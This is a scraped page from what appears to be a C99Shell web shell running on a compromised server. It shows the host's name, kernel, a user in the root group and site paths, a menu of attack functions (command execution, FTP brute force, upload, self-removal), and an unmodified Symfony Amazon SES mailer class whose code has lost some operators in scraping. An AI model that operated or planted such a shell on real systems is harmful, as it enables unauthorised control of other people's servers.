!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/picomail.picotech.app/public_html/vendor/symfony/amazon-mailer/Transport/   drwxr-xr-x
Free 28.45 GB of 117.98 GB (24.12%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     SesApiAsyncAwsTransport.php (5.44 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Mailer\Bridge\Amazon\Transport;

use 
AsyncAws\Ses\Input\SendEmailRequest;
use 
AsyncAws\Ses\ValueObject\Content;
use 
Symfony\Component\Mailer\Envelope;
use 
Symfony\Component\Mailer\Exception\LogicException;
use 
Symfony\Component\Mailer\Exception\RuntimeException;
use 
Symfony\Component\Mailer\Header\MetadataHeader;
use 
Symfony\Component\Mailer\SentMessage;
use 
Symfony\Component\Mime\Address;
use 
Symfony\Component\Mime\Email;
use 
Symfony\Component\Mime\Header\Headers;
use 
Symfony\Component\Mime\MessageConverter;

/**
 * @author Jérémy Derussé <jeremy@derusse.com>
 */
class SesApiAsyncAwsTransport extends SesHttpAsyncAwsTransport
{
    public function 
__toString(): string
    
{
        
$configuration $this->sesClient->getConfiguration();
        if (!
$configuration->isDefault('endpoint')) {
            
$endpoint parse_url($configuration->get('endpoint'));
            
$host $endpoint['host'].($endpoint['port'] ?? null ':'.$endpoint['port'] : '');
        } else {
            
$host $configuration->get('region');
        }

        return 
sprintf('ses+api://%s@%s'$configuration->get('accessKeyId'), $host);
    }

    protected function 
getRequest(SentMessage $message): SendEmailRequest
    
{
        try {
            
$email MessageConverter::toEmail($message->getOriginalMessage());
        } catch (
\Exception $e) {
            throw new 
RuntimeException(sprintf('Unable to send message with the "%s" transport: '__CLASS__).$e->getMessage(), 0$e);
        }

        if (
$email->getAttachments()) {
            return 
parent::getRequest($message);
        }

        
$envelope $message->getEnvelope();

        
$request = [
            
'FromEmailAddress' => $this->stringifyAddress(self::getSenderFromHeaders($email->getHeaders())),
            
'Destination' => [
                
'ToAddresses' => $this->stringifyAddresses($this->getRecipients($email$envelope)),
            ],
            
'Content' => [
                
'Simple' => [
                    
'Subject' => [
                        
'Data' => $email->getSubject(),
                        
'Charset' => 'utf-8',
                    ],
                    
'Body' => [],
                ],
            ],
        ];

        if (
$emails $email->getCc()) {
            
$request['Destination']['CcAddresses'] = $this->stringifyAddresses($emails);
        }
        if (
$emails $email->getBcc()) {
            
$request['Destination']['BccAddresses'] = $this->stringifyAddresses($emails);
        }
        if (
$email->getTextBody()) {
            
$request['Content']['Simple']['Body']['Text'] = new Content([
                
'Data' => $email->getTextBody(),
                
'Charset' => $email->getTextCharset(),
            ]);
        }
        if (
$email->getHtmlBody()) {
            
$request['Content']['Simple']['Body']['Html'] = new Content([
                
'Data' => $email->getHtmlBody(),
                
'Charset' => $email->getHtmlCharset(),
            ]);
        }
        if (
$emails $email->getReplyTo()) {
            
$request['ReplyToAddresses'] = $this->stringifyAddresses($emails);
        }
        if (
$header $email->getHeaders()->get('X-SES-CONFIGURATION-SET')) {
            
$request['ConfigurationSetName'] = $header->getBodyAsString();
        }
        if (
$header $email->getHeaders()->get('X-SES-SOURCE-ARN')) {
            
$request['FromEmailAddressIdentityArn'] = $header->getBodyAsString();
        }
        if (
$email->getReturnPath()) {
            
$request['FeedbackForwardingEmailAddress'] = $email->getReturnPath()->toString();
        }

        foreach (
$email->getHeaders()->all() as $header) {
            if (
$header instanceof MetadataHeader) {
                
$request['EmailTags'][] = ['Name' => $header->getKey(), 'Value' => $header->getValue()];
            }
        }

        return new 
SendEmailRequest($request);
    }

    private function 
getRecipients(Email $emailEnvelope $envelope): array
    {
        
$emailRecipients array_merge($email->getCc(), $email->getBcc());

        return 
array_filter($envelope->getRecipients(), function (Address $address) use ($emailRecipients) {
            return !
\in_array($address$emailRecipientstrue);
        });
    }

    protected function 
stringifyAddresses(array $addresses): array
    {
        return 
array_map(function (Address $a) {
            return 
$this->stringifyAddress($a);
        }, 
$addresses);
    }

    protected function 
stringifyAddress(Address $a): string
    
{
        
// AWS does not support UTF-8 address
        
if (preg_match('~[\x00-\x08\x10-\x19\x7F-\xFF\r\n]~'$name $a->getName())) {
            return 
sprintf('=?UTF-8?B?%s?= <%s>',
                
base64_encode($name),
                
$a->getEncodedAddress()
            );
        }

        return 
$a->toString();
    }

    private static function 
getSenderFromHeaders(Headers $headers): Address
    
{
        if (
$sender $headers->get('Sender')) {
            return 
$sender->getAddress();
        }
        if (
$from $headers->get('From')) {
            return 
$from->getAddresses()[0];
        }
        if (
$return $headers->get('Return-Path')) {
            return 
$return->getAddress();
        }

        throw new 
LogicException('Unable to determine the sender of the message.');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0074 ]--